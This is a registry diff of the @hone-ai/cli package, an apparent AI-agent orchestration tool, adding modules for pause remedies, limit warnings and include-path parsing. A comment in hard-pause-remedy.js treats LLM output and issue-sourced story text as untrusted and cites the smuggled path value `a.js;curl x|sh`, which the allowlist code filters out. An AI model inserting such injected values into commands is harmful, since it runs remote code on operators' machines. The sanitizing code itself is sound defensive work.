@hone-ai/cli 1.33.0 → 1.35.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (48) hide show
  1. package/bin/hone-mcp.js +1 -0
  2. package/hone-cli.js +1289 -759
  3. package/lib/agent-eval-pacing.js +102 -0
  4. package/lib/agent-eval-probes-boundary.js +0 -0
  5. package/lib/agent-eval-probes-stateful.js +72 -0
  6. package/lib/agent-eval-score.js +70 -0
  7. package/lib/agent-executor.js +26 -4
  8. package/lib/asset-fetch-list.js +72 -0
  9. package/lib/auto-verify.js +67 -3
  10. package/lib/batch-follow.js +333 -0
  11. package/lib/block-grammar.js +126 -0
  12. package/lib/bundle-context.js +43 -4
  13. package/lib/bundle-paths.js +698 -1
  14. package/lib/bundle-source-dirs.js +79 -0
  15. package/lib/doctor-bind-default.js +192 -18
  16. package/lib/doctor-local-run.js +139 -1
  17. package/lib/emit-pr.js +39 -6
  18. package/lib/git-helpers.js +19 -8
  19. package/lib/hard-pause-remedy.js +101 -0
  20. package/lib/headroom.js +63 -0
  21. package/lib/include-paths.js +155 -0
  22. package/lib/learnings-parse.js +51 -6
  23. package/lib/materialize-diff.js +134 -64
  24. package/lib/mcp-tools.js +36 -11
  25. package/lib/pipeline-config.js +182 -0
  26. package/lib/private-temp.js +34 -0
  27. package/lib/promote-payload.js +77 -0
  28. package/lib/refresh-knowledge.js +15 -6
  29. package/lib/repo-tree.js +22 -3
  30. package/lib/run-context.js +698 -0
  31. package/lib/run-report.js +36 -0
  32. package/lib/sandbox-lifecycle.js +357 -0
  33. package/lib/schedule-cron.js +1 -1
  34. package/lib/skill-assertions.js +61 -7
  35. package/lib/skill-audit-render.js +1 -1
  36. package/lib/story-classifier-extract.js +16 -8
  37. package/lib/story-classifier.js +64 -0
  38. package/lib/story-compose.js +69 -0
  39. package/lib/story-line.js +40 -0
  40. package/lib/story-provenance.js +267 -0
  41. package/lib/timeout-option.js +42 -0
  42. package/lib/tree-artifact.js +166 -0
  43. package/lib/untrusted-code-env.js +51 -0
  44. package/lib/verdict-env.js +31 -0
  45. package/lib/verify-patch.js +74 -4
  46. package/lib/verify-pr.js +2 -1
  47. package/lib/worktree-provision.js +62 -2
  48. package/package.json +1 -1
@@ -0,0 +1,101 @@
1
+ 'use strict';
2
+ /**
3
+ * hard-pause-remedy.js — HC-GF-263: render a paused run's parsed context request.
4
+ *
5
+ * The CLI prints the truncated `errorMessage` at a pause and nothing else, and on a HUMAN_GATE
6
+ * outcome it prints no reason at all (`⏳ Step … — awaiting approval`). The server now records
7
+ * what the step ASKED FOR in `workflow_step_results.failure_record.context_requests`, projected
8
+ * by the existing GET diagnostics allowlist. This turns it into one pasteable line.
9
+ *
10
+ * PURE: data in, strings out. No fs, no console, no process.
11
+ *
12
+ * TOLERANT OF AN OLDER SERVER BY CONSTRUCTION. A missing `diagnostics`, a null `failure_record`,
13
+ * a `context_requests` of the wrong shape and an empty `paths` all return null, which is today's
14
+ * output. That is what makes the deploy order free: server-first works because the CLI ignores
15
+ * the new key, CLI-first works because the key is simply absent.
16
+ */
17
+
18
+ /**
19
+ * The request belonging to the step the run is PAUSED AT, or null.
20
+ *
21
+ * SCOPED TO `currentStep`, NOT "the newest step that has one". `failure_record` is durable, so
22
+ * once step_1 hard-pauses with a remedy that row keeps it for the life of the run. A reverse
23
+ * scan over every step then prints step_1's files at an unrelated step_4 gate — a command
24
+ * attributed to nothing, at a step that asked for nothing.
25
+ *
26
+ * That is HC-GF-047's lesson one layer up, and orchestrator.js quotes it verbatim: "a
27
+ * stale-but-plausible instruction is worse than none, because the builder acts on it". A
28
+ * printed re-queue command is exactly the kind an operator acts on without re-deriving it.
29
+ *
30
+ * Returning null for a gate with no request of its own is correct and is today's output.
31
+ *
32
+ * @param {object} status a GET /orchestrate/:runId payload, straight off the network and
33
+ * therefore not trusted to have any particular shape
34
+ * @returns {{stepKey: string, paths: Array<object>, truncated: boolean}|null}
35
+ */
36
+ function remedyFor(status) {
37
+ const s = (status && typeof status === 'object') ? status : {};
38
+ const steps = Array.isArray(s.steps) ? s.steps : [];
39
+ const step = steps.find((x) => x && typeof x === 'object' && x.stepKey === s.currentStep);
40
+ if (!step) return null;
41
+ const diag = step.diagnostics;
42
+ if (!diag || typeof diag !== 'object') return null;
43
+ const rec = diag.failure_record;
44
+ if (!rec || typeof rec !== 'object') return null;
45
+ const req = rec.context_requests;
46
+ if (!req || typeof req !== 'object' || Array.isArray(req)) return null;
47
+ const paths = Array.isArray(req.paths) ? req.paths.filter((p) => p && p.path) : [];
48
+ if (paths.length === 0) return null;
49
+ return { stepKey: step.stepKey, paths, truncated: req.truncated === true };
50
+ }
51
+
52
+ /**
53
+ * H5 — THIS MODULE IS THE TRUST BOUNDARY. Every token it prints came out of an LLM artifact, and
54
+ * the line it builds exists to be pasted into a shell. The agent's input is not trusted either:
55
+ * bundled adopter source and the story text (which can come from a GitHub issue) both reach it,
56
+ * so a "path" like `a.js;curl x|sh` or one carrying a terminal escape is a plausible artifact.
57
+ *
58
+ * DROP AND COUNT, never shell-quote. A token outside this set is far likelier to be a parse
59
+ * artifact than a real filename, and a silently quoted oddity is a command that runs and does
60
+ * nothing. A LEADING DASH is refused too: `--include-paths -rf` parses as an option, not a path.
61
+ * The parser upstream stays total — it records what the agent wrote; only printing is guarded.
62
+ */
63
+ const SAFE_TOKEN = /^[\w./:@+-]+$/;
64
+ const SAFE_STORY_ID = /^[\w.-]+$/;
65
+
66
+ function tokenOf(p) {
67
+ return p.raw || (p.anchor ? `${p.path}:${p.anchor}` : p.path);
68
+ }
69
+
70
+ function isSafeToken(t) {
71
+ return typeof t === 'string' && t.length > 0 && SAFE_TOKEN.test(t) && !t.startsWith('-');
72
+ }
73
+
74
+ /** Split requested paths into the ones safe to print and the ones dropped, so a caller can say so. */
75
+ function partitionSafePaths(paths) {
76
+ const list = Array.isArray(paths) ? paths.filter((p) => p && p.path) : [];
77
+ const safe = [];
78
+ const dropped = [];
79
+ for (const p of list) (isSafeToken(tokenOf(p)) ? safe : dropped).push(p);
80
+ return { safe, dropped };
81
+ }
82
+
83
+ /**
84
+ * One ready-to-paste command, built from the SAFE paths only.
85
+ *
86
+ * REPEATED FLAGS, not a comma list: `collectIncludePaths` accumulates every occurrence
87
+ * (HC-GF-202), and the repeated form is what the CLI's own warning already tells operators to
88
+ * use. `raw` is preferred over re-joining path+anchor so a `path:symbol` anchor survives exactly
89
+ * as the agent wrote it.
90
+ *
91
+ * A missing OR UNSAFE storyId renders the literal `<story-id>` — a command that visibly needs one
92
+ * edit beats one that looks correct and is not, or one that runs something else.
93
+ */
94
+ function renderIncludePathsCommand(storyId, paths) {
95
+ const { safe } = partitionSafePaths(paths);
96
+ if (safe.length === 0) return '';
97
+ const id = storyId && SAFE_STORY_ID.test(String(storyId)) ? String(storyId) : '<story-id>';
98
+ return `hone run-story ${id} ${safe.map((p) => `--include-paths ${tokenOf(p)}`).join(' ')}`;
99
+ }
100
+
101
+ module.exports = { remedyFor, renderIncludePathsCommand, partitionSafePaths };
@@ -0,0 +1,63 @@
1
+ 'use strict';
2
+ /**
3
+ * HC-GF-089 — how close a step came to its limits, said before it hits one.
4
+ *
5
+ * The largest local build used 793s of its 900s limit and nothing said so. Until now the only way to
6
+ * learn where a limit bites was to hit it: HC-GF-114 exists because the cut-off path had never fired
7
+ * in the entire run history, and reaching it took lowering a cap by hand. A run one slow story away
8
+ * from a timeout should say so while it still completes.
9
+ *
10
+ * ADVISORY by construction. This never blocks, never routes back and never changes a verdict — it
11
+ * prints. A signal that could fail a run would need a far higher bar than "approaching a limit", and
12
+ * a warning that reads like a rejection trains operators to ignore it.
13
+ */
14
+
15
+ /** HC-GF-080's per-message output cap — what the CLI child actually runs with. */
16
+ const TOKEN_CAP_PER_MESSAGE = 128_000;
17
+
18
+ /** Three quarters. Low enough to give a story's worth of warning, high enough not to fire routinely. */
19
+ const THRESHOLD = 0.75;
20
+
21
+ /** A ratio, or null when there is nothing to judge — a missing limit is not a limit of zero. */
22
+ function ratio(used, limit) {
23
+ const u = Number(used);
24
+ const l = Number(limit);
25
+ if (!Number.isFinite(u) || !Number.isFinite(l) || l <= 0 || u < 0) return null;
26
+ return u / l;
27
+ }
28
+
29
+ /**
30
+ * One line when a step passed THRESHOLD of its time or per-message token budget, else null.
31
+ * @param {object} generation HC-GF-079's generation report, as stored on the step row.
32
+ */
33
+ function headroomLine(generation) {
34
+ const g = generation && typeof generation === 'object' ? generation : {};
35
+
36
+ const timeRatio = ratio(g.elapsed_ms, g.timeout_ms);
37
+ // The BUSIEST message decides: a build whose last message nearly filled the cap is at risk even
38
+ // when the earlier ones were small, and an average would hide exactly that.
39
+ const counts = (Array.isArray(g.output_tokens) ? g.output_tokens : [])
40
+ .map(Number).filter((n) => Number.isFinite(n) && n >= 0);
41
+ const busiest = counts.length ? Math.max(...counts) : null;
42
+ const tokenRatio = busiest === null ? null : ratio(busiest, TOKEN_CAP_PER_MESSAGE);
43
+
44
+ const parts = [];
45
+ if (timeRatio !== null && timeRatio >= THRESHOLD) {
46
+ parts.push(`time ${Math.round(timeRatio * 100)}% `
47
+ + `(${Math.round(Number(g.elapsed_ms) / 1000)}s of ${Math.round(Number(g.timeout_ms) / 1000)}s)`);
48
+ }
49
+ if (tokenRatio !== null && tokenRatio >= THRESHOLD) {
50
+ parts.push(`tokens ${Math.round(tokenRatio * 100)}% `
51
+ + `(${busiest} of ${TOKEN_CAP_PER_MESSAGE} in one message)`);
52
+ }
53
+ if (!parts.length) return null;
54
+ // HC-GF-129: the threshold has no upper bound, so every ratio from 75% to infinity used to get
55
+ // the same reassurance. On run 692b0c29 a call that ran 550,017ms against a 550,000ms ceiling —
56
+ // it TIMED OUT, `complete: false`, the build was cut off — was reported as "not over it".
57
+ // At or past 1.0 the limit was reached, and saying otherwise is simply false.
58
+ const over = (timeRatio !== null && timeRatio >= 1) || (tokenRatio !== null && tokenRatio >= 1);
59
+ return `headroom: ${parts.join(', ')} — `
60
+ + (over ? 'the limit was REACHED: this call was cut off' : 'close to the limit, not over it');
61
+ }
62
+
63
+ module.exports = { headroomLine, TOKEN_CAP_PER_MESSAGE, THRESHOLD };
@@ -0,0 +1,155 @@
1
+ 'use strict';
2
+ /**
3
+ * `--include-paths` is the operator's escape hatch when the bundler cannot see a
4
+ * file the story needs. HC-GF-202: it accepted only ONE form.
5
+ *
6
+ * The option is declared `<paths>`, single-valued and comma-separated, so
7
+ * commander keeps the LAST occurrence when the flag is repeated. The planner's
8
+ * own refusal printed `--include-paths Makefile --include-paths scripts/`, which
9
+ * therefore resolved to `"scripts/"` and silently dropped `Makefile` — an
10
+ * operator who followed the instruction exactly received a byte-identical bundle
11
+ * to having passed nothing at all. Measured twice, 7,621 chars each.
12
+ *
13
+ * Both forms are now accepted. The advice the planner prints is correct and is
14
+ * the cheapest escape hatch the bundler has; the flag honours it.
15
+ */
16
+
17
+ /**
18
+ * commander collector: accumulate every occurrence instead of replacing.
19
+ * Declared as `.option('--include-paths <paths>', desc, collectIncludePaths, [])`.
20
+ */
21
+ function collectIncludePaths(value, previous) {
22
+ return (Array.isArray(previous) ? previous : []).concat([value]);
23
+ }
24
+
25
+ /**
26
+ * Normalise whatever the flag produced into an ordered, de-duplicated path list.
27
+ * Accepts a bare string (comma form), an array (repeated flags), or a mix.
28
+ */
29
+ function parseIncludePaths(raw) {
30
+ if (raw === undefined || raw === null) return [];
31
+ const parts = Array.isArray(raw) ? raw : [raw];
32
+ const out = [];
33
+ for (const part of parts) {
34
+ for (const piece of String(part).split(',')) {
35
+ const p = piece.trim();
36
+ // An empty entry would become a candidate path of '', which existsSync
37
+ // answers false for — a silent no-op indistinguishable from a typo.
38
+ if (!p) continue;
39
+ if (!out.includes(p)) out.push(p);
40
+ }
41
+ }
42
+ return out;
43
+ }
44
+
45
+ /**
46
+ * Split one `--include-paths` entry into the file and the region inside it.
47
+ *
48
+ * HC-GF-205: `planFileExcerpt` honours a `line`, and the bundler's own shortfall
49
+ * notice tells the operator to "name them as `path:<line>` to bundle one
50
+ * directly". But the flag added the RAW string as a candidate path, so
51
+ * `cli/hone-cli.js:8500` was looked up as a filename, `existsSync` said no, and
52
+ * the entry vanished with no message — the file then fell back to inferred
53
+ * anchors and bundled the same wrong regions. The remedy the tool printed was a
54
+ * form the tool did not accept.
55
+ *
56
+ * A SYMBOL is accepted as well as a line. The refusals name symbols ("the block
57
+ * that calls `provisionWorktree`"); an operator can copy one out of a refusal,
58
+ * but to use the numeric form they must open the file and count.
59
+ *
60
+ * Deliberately strict: only a positive integer is a line, and only a JS-style
61
+ * identifier is a symbol. Anything else stays part of the path, because
62
+ * reinterpreting a malformed entry is how a typo becomes a silent no-op.
63
+ */
64
+ function parseIncludeTarget(entry) {
65
+ const raw = String(entry === undefined || entry === null ? '' : entry).trim();
66
+ const mLine = raw.match(/^(.+):(\d+)$/);
67
+ if (mLine && Number(mLine[2]) > 0) {
68
+ return { raw, path: mLine[1], line: Number(mLine[2]), symbol: null };
69
+ }
70
+ const mSym = raw.match(/^(.+):([A-Za-z_$][\w$]*)$/);
71
+ if (mSym) return { raw, path: mSym[1], line: null, symbol: mSym[2] };
72
+ return { raw, path: raw, line: null, symbol: null };
73
+ }
74
+
75
+ /**
76
+ * Split include-path entries into those whose FILE exists and those that resolve
77
+ * to nothing. HC-GF-205: an entry that resolves to no file used to be dropped in
78
+ * silence, which is indistinguishable from it having been bundled — six attempts
79
+ * were spent before anyone noticed the flag had done nothing.
80
+ */
81
+ function partitionIncludeTargets(entries, exists) {
82
+ const resolved = [];
83
+ const missing = [];
84
+ for (const entry of parseIncludePaths(entries)) {
85
+ const target = parseIncludeTarget(entry);
86
+ (exists(target.path) ? resolved : missing).push(target);
87
+ }
88
+ return { resolved, missing };
89
+ }
90
+
91
+ /**
92
+ * Every line a file is EXPLICITLY anchored at, the operator's first — HC-GF-288.
93
+ *
94
+ * The bundler kept one line per file and filled it story-first, so an operator's
95
+ * `--include-paths f.js:N` for a file the story already cited as `f.js:M` was discarded
96
+ * with no message and M bundled again. Measured on run 31f78a92: five other anchors were
97
+ * honoured and `cli/hone-cli.js:6180` produced the same five regions as a run without it.
98
+ * An operator names a region because the bundle lacked it, usually on the pipeline's own
99
+ * advice (HC-GF-263 prints the command), so ignoring it repeats the refusal that prompted it.
100
+ *
101
+ * ALONGSIDE, NOT INSTEAD. The story's line stays, after the operator's: it is the region the
102
+ * agent already had and asked for MORE than, and dropping it trades one refusal for another.
103
+ * That is HC-GF-216's rule one layer up: a stated line seeds the spread, it never replaces it.
104
+ *
105
+ * A symbol resolves against the file's contents, so it can only be resolved here. One that
106
+ * does not resolve is returned in `unresolved`, never dropped in silence.
107
+ *
108
+ * @param {{path: string, content: string, operator?: Array<{raw: string, line: number|null, symbol: string|null}>, storyLine?: number|null}} input
109
+ * @returns {{anchors: Array<{line: number, raw: string, source: 'operator'|'story'}>, unresolved: Array<{raw: string, reason: string}>}}
110
+ */
111
+ function statedAnchorsFor({ path: filePath, content, operator = [], storyLine = null } = {}) {
112
+ const { definitionIndexOf } = require('./bundle-paths');
113
+ const text = String(content || '');
114
+ const anchors = [];
115
+ const unresolved = [];
116
+ const add = (line, raw, source) => {
117
+ if (!anchors.some((a) => a.line === line)) anchors.push({ line, raw, source });
118
+ };
119
+ for (const t of Array.isArray(operator) ? operator : []) {
120
+ if (t.line) { add(Number(t.line), t.raw, 'operator'); continue; }
121
+ if (!t.symbol) continue;
122
+ const idx = definitionIndexOf(text, t.symbol);
123
+ if (idx === -1) { unresolved.push({ raw: t.raw, reason: 'symbol not found in the file' }); continue; }
124
+ add(text.slice(0, idx).split('\n').length, t.raw, 'operator');
125
+ }
126
+ if (storyLine) add(Number(storyLine), `${filePath}:${storyLine}`, 'story');
127
+ return { anchors, unresolved };
128
+ }
129
+
130
+ /**
131
+ * One warning per stated anchor the excerpt planner could not honour — HC-GF-288.
132
+ *
133
+ * Named by what the operator TYPED (`raw`), so a `path:symbol` entry is reported as the
134
+ * symbol they passed, not as a line number they never saw.
135
+ *
136
+ * @param {Array<{line: number, raw: string, source: string}>} anchors from statedAnchorsFor
137
+ * @param {Array<{line: number, reason: string, totalLines: number}>} unhonoured from planFileExcerpt
138
+ * @returns {string[]}
139
+ */
140
+ function anchorWarnings(anchors, unhonoured) {
141
+ const out = [];
142
+ for (const u of Array.isArray(unhonoured) ? unhonoured : []) {
143
+ const a = (anchors || []).find((x) => x.line === u.line);
144
+ const who = a && a.source === 'story' ? `story reference '${a.raw}'` : `--include-paths '${a ? a.raw : u.line}'`;
145
+ out.push(u.reason === 'past-eof'
146
+ ? ` \u26a0 ${who} — the file has ${u.totalLines} lines; line ${u.line} does not exist, not anchored`
147
+ : ` \u26a0 ${who} — NOT bundled: this file's stated regions exceed its per-file cap; name fewer regions in it`);
148
+ }
149
+ return out;
150
+ }
151
+
152
+ module.exports = {
153
+ collectIncludePaths, parseIncludePaths, parseIncludeTarget, partitionIncludeTargets,
154
+ statedAnchorsFor, anchorWarnings,
155
+ };
@@ -122,8 +122,13 @@ function parseLearningsFile(content, opts = {}) {
122
122
  // LC-001: validateCategory may throw on malformed enum value. Catch and
123
123
  // surface as parseError rather than crashing the whole file walk.
124
124
  try {
125
- if (schema === SCHEMA_A) return { schema, eligible: parseSchemaA(parsed, includePromoted), warning };
126
- if (schema === SCHEMA_B) return { schema, eligible: parseSchemaB(parsed, includePromoted), warning };
125
+ // HC-GF-208: `warning` is not handed on by the A and B paths because it cannot
126
+ // exist there. It is set only for a non-array object carrying BOTH arrays: A
127
+ // requires Array.isArray(parsed), which that test excludes, and had both arrays
128
+ // been present C would have won detection, so B never sees one either. Passing a
129
+ // field that is always undefined reads like a carried value and is not one.
130
+ if (schema === SCHEMA_A) return { schema, eligible: parseSchemaA(parsed, includePromoted) };
131
+ if (schema === SCHEMA_B) return { schema, eligible: parseSchemaB(parsed, includePromoted) };
127
132
  if (schema === SCHEMA_C) return { schema, eligible: parseSchemaC(parsed, includePromoted), warning };
128
133
  if (schema === SCHEMA_D) return { schema, eligible: parseSchemaD(parsed, includePromoted), warning };
129
134
  } catch (e) {
@@ -150,9 +155,21 @@ function parseSchemaA(items, includePromoted = false) {
150
155
  // LC-001: optional categorization fields (G2 partial). All optional;
151
156
  // default null. validateCategory throws on malformed enum.
152
157
  category: validateCategory(i.category),
158
+ // HC-GF-264: `targetOf` checks `target_skill` FIRST and calls it "the most specific statement
159
+ // of intent there is". None of these four maps carried it, so that branch never executed in
160
+ // this repo and routing fell through to `agent` — the field that records who NOTICED.
161
+ // Measured 2026-09-24: 203 of 775 items set it and 150 routed elsewhere. This is HC-GF-159a's
162
+ // defect recurring on the field that fix introduced: it added `target_skill` to
163
+ // `PROMOTED_FIELDS` and to `targetOf`, and not to the parsers that feed them.
164
+ target_skill: i.target_skill || null,
153
165
  referenced_skill: i.referenced_skill || null,
154
166
  referenced_section: i.referenced_section || null,
155
167
  evidence: Array.isArray(i.evidence) ? i.evidence : (i.evidence ? [i.evidence] : null),
168
+ // HC-GF-159a: the legacy list format routes like the others. No file in this repo uses it,
169
+ // which is why its handoffs went unasserted — but an adopter's older files still can.
170
+ type: i.type || null,
171
+ agent: i.agent || null,
172
+ proposed_fix: typeof i.proposed_fix === 'string' ? i.proposed_fix : null,
156
173
  }));
157
174
  }
158
175
 
@@ -181,6 +198,10 @@ function parseSchemaB(doc, includePromoted = false) {
181
198
  // `candidate_for` already serves the role of referenced_skill, so
182
199
  // we fall back to it when the explicit field is absent.
183
200
  category: validateCategory(c.category),
201
+ // HC-GF-264. Deliberately no `|| c.candidate_for` here: `candidate_for` says which skill the
202
+ // work applied, which is what `referenced_skill` below already borrows it for. Reusing it as a
203
+ // destination would invent an intent the author did not state.
204
+ target_skill: c.target_skill || null,
184
205
  referenced_skill: c.referenced_skill || c.candidate_for || null,
185
206
  referenced_section: c.referenced_section || null,
186
207
  evidence: Array.isArray(c.evidence) ? c.evidence : (c.evidence ? [c.evidence] : null),
@@ -211,9 +232,15 @@ function parseSchemaC(doc, includePromoted = false) {
211
232
  _schema: SCHEMA_C,
212
233
  // LC-001: optional categorization fields (G2 partial).
213
234
  category: validateCategory(l.category),
235
+ target_skill: l.target_skill || null, // HC-GF-264
214
236
  referenced_skill: l.referenced_skill || null,
215
237
  referenced_section: l.referenced_section || null,
216
238
  evidence: Array.isArray(l.evidence) ? l.evidence : (l.evidence ? [l.evidence] : null),
239
+ // HC-GF-159a: the source YAML has carried these all along; dropping them here is why every
240
+ // promoted learning reached the server with `type: unknown` and no agent or fix text.
241
+ type: l.type || null,
242
+ agent: l.agent || null,
243
+ proposed_fix: typeof l.proposed_fix === 'string' ? l.proposed_fix : null,
217
244
  }));
218
245
  }
219
246
 
@@ -245,9 +272,15 @@ function parseSchemaD(doc, includePromoted = false) {
245
272
  enterprise_candidate: true,
246
273
  _schema: SCHEMA_D,
247
274
  category: validateCategory(doc.category),
275
+ target_skill: doc.target_skill || null, // HC-GF-264
248
276
  referenced_skill: doc.referenced_skill || null,
249
277
  referenced_section: doc.referenced_section || null,
250
278
  evidence: Array.isArray(doc.evidence) ? doc.evidence : (doc.evidence ? [doc.evidence] : null),
279
+ // HC-GF-159a: 119 of the 418 eligible learnings are Schema D. A fix covering only Schema C
280
+ // leaves those routing to 'general'.
281
+ type: doc.type || null,
282
+ agent: doc.agent || null,
283
+ proposed_fix: typeof doc.proposed_fix === 'string' ? doc.proposed_fix : null,
251
284
  }];
252
285
  }
253
286
 
@@ -279,7 +312,11 @@ function escapeRegex(s) {
279
312
  function writeBackA(content, ids) {
280
313
  for (const id of ids) {
281
314
  const escaped = escapeRegex(id);
282
- const idPattern = new RegExp(`(id:\\s*${escaped}[\\s\\S]*?status:\\s*)pending`, 'm');
315
+ // HC-GF-208: the gap below is lazy but was unbounded, so when the named item has
316
+ // no `status:` of its own it ran on to the NEXT item's and marked the WRONG
317
+ // learning promoted, leaving the named one pending forever. Stop at the next
318
+ // top-level `- id:` line, which is where this item's block ends.
319
+ const idPattern = new RegExp(`(id:\\s*${escaped}(?:(?!\\n- id:)[\\s\\S])*?status:\\s*)pending`, 'm');
283
320
  if (idPattern.test(content)) {
284
321
  content = content.replace(idPattern, '$1promoted');
285
322
  }
@@ -355,16 +392,24 @@ function rewriteWithStatusInsertion(content, matcher) {
355
392
  if (!r.matched) continue;
356
393
 
357
394
  // Look ahead through this item's block to detect existing status.
358
- let hasStatus = false;
395
+ let statusIdx = -1;
359
396
  for (let j = i + 1; j < lines.length; j++) {
360
397
  const next = lines[j];
361
398
  // End of block: next sibling id line at the same-or-lesser list indent.
362
399
  if (/^ {2,}- id:/.test(next)) break;
363
400
  // End of block: a non-indented (top-level) line means we've left the array.
364
401
  if (/^\S/.test(next)) break;
365
- if (/^ {4,}status:\s*\S/.test(next)) { hasStatus = true; break; }
402
+ if (/^ {4,}status:\s*\S/.test(next)) { statusIdx = j; break; }
366
403
  }
367
- if (!hasStatus) out.push(`${r.indent}status: promoted`);
404
+ if (statusIdx === -1) { out.push(`${r.indent}status: promoted`); continue; }
405
+ // HC-GF-208: an existing status line used to end the matter, so a learning
406
+ // authored with `status: pending` could never be flipped — it stayed eligible
407
+ // and was re-promoted on every run, while the write still reported success
408
+ // because the content came back byte-identical. Rewrite pending in place.
409
+ // Any other state (promoted, retracted) is deliberate and left alone: a
410
+ // retracted learning must not be silently re-promoted.
411
+ const st = lines[statusIdx].match(/^(\s*status:\s*)pending\s*$/);
412
+ if (st) lines[statusIdx] = `${st[1]}promoted`;
368
413
  }
369
414
  return out.join('\n');
370
415
  }